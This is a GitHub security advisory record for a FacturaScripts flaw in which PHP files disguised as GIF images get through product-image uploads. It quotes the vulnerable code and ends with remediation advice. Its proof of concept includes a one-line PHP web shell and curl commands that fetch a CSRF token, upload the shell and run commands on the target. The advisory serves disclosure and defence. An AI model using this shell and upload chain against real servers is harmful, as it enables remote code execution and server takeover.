{"id":"GHSA-vf3q-frmr-vrr9","summary":"FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images","details":"# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass\n \n## Summary\n \nAn authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.\n \n---\n \n## Details\n \nThe vulnerability exists in:\n \n`Core/Lib/ExtendedController/ProductImagesTrait.php`\n \nSpecifically in the `addImageAction()` method.\n \n### Vulnerable Code\n \n```php\nif (false === strpos($uploadFile-\u003egetMimeType(), 'image/')) {\n    Tools::log()-\u003eerror('file-not-supported');\n    continue;\n}\n \n$folder = Tools::folder('MyFiles');\nTools::folderCheckOrCreate($folder);\n$uploadFile-\u003emove($folder, $uploadFile-\u003egetClientOriginalName());\n```\n \n### Root Cause\n \n- The validation only checks if MIME type contains `\"image/\"`\n- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file\n- The system incorrectly identifies the file as `image/gif`\n- The file is saved with a `.php` extension in a web-accessible directory\n \n### File Storage Behavior\n \nUploaded files are stored in:\n \n```\n/MyFiles/YYYY/MM/X.php\n```\n \nWhere `X` is an auto-incrementing ID. This allows direct remote execution:\n \n```\nhttp://target/MyFiles/2026/03/2.php?cmd=id\n```\n \n---\n \n## Impact\n \nSuccessful exploitation:\n\nAn attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.\n---\n \n## Proof of Concept (Manual)\n \n### Step 1: Create malicious file\n \n```bash\ncat \u003e shell.jpg.php \u003c\u003c 'EOF'\nGIF89a\n\u003c?php\nsystem($_GET['cmd']);\n?\u003e\nEOF\n```\n \n### Step 2: Authenticate\n \n- Login to the application\n- Extract `PHPSESSID` from browser cookies\n \n### Step 3: Get CSRF token\n \n```bash\ncurl -s \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  | grep -o 'multireqtoken\\\" value=\\\"[^\\\"]*\\\"' | cut -d'\"' -f4\n```\n \n### Step 4: Upload shell\n \n```bash\ncurl -X POST \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  -F \"multireqtoken=YOUR_CSRF_TOKEN\" \\\n  -F \"action=add-image\" \\\n  -F \"activetab=EditProductoImagen\" \\\n  -F \"idproducto=3\" \\\n  -F \"newfiles[]=@shell.jpg.php\"\n```\n \n### Step 5: Execute command\n \n```bash\ncurl \"http://target/MyFiles/2026/03/2.php?cmd=id\"\n```\n \n---\n\n \n## Affected Products\n \n| Field | Value |\n|---|---|\n| Ecosystem | Packagist |\n| CVE ID | CVE-2026-42879 |\n| Package Name | `facturascripts/facturascripts` |\n| Affected Versions | \u003c= 2025.81 |\n| Patched Versions | Not yet patched |\n| Fixed in | Pending |\n \n---\n \n## Remediation Recommendations\n \n1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type\n2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension\n3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution\n4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME\n## Credits\n\n- **Discoverer**: Abdullah Alwasabei / Guzrex","aliases":["CVE-2026-42879"],"modified":"2026-09-10T03:50:47.667573691Z","published":"2026-05-07T19:49:05Z","database_specific":{"github_reviewed_at":"2026-05-07T19:49:05Z","nvd_published_at":"2026-05-27T19:16:18Z","cwe_ids":["CWE-434","CWE-94"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42879"},{"type":"PACKAGE","url":"https://github.com/NeoRazorX/facturascripts"}],"affected":[{"package":{"name":"facturascripts/facturascripts","ecosystem":"Packagist","purl":"pkg:composer/facturascripts/facturascripts"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2025.81"}]}],"versions":["2018.03","2018.04","2018.05","2018.11","v2018.12","v2018.13","v2018.14","v2018.15","v2018.16","v2020.01","v2020.2","v2020.3","v2020.4","v2020.51","v2020.61","v2020.71","v2020.80","v2021","v2021.1","v2021.2","v2021.4","v2021.51","v2021.71","v2021.81","v2022.06","v2022.08","v2022.2","v2022.4","v2022.51","v2023.03","v2023.08","v2023.16","v2023.21","v2024","v2024.1","v2024.2","v2024.3","v2024.5","v2024.7","v2024.8","v2024.9","v2024.91","v2024.93","v2024.94","v2024.95","v2024.96","v2025","v2025.11","v2025.2","v2025.3","v2025.4","v2025.41","v2025.43","v2025.7","v2025.71","v2025.8","v2025.81"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vf3q-frmr-vrr9/GHSA-vf3q-frmr-vrr9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}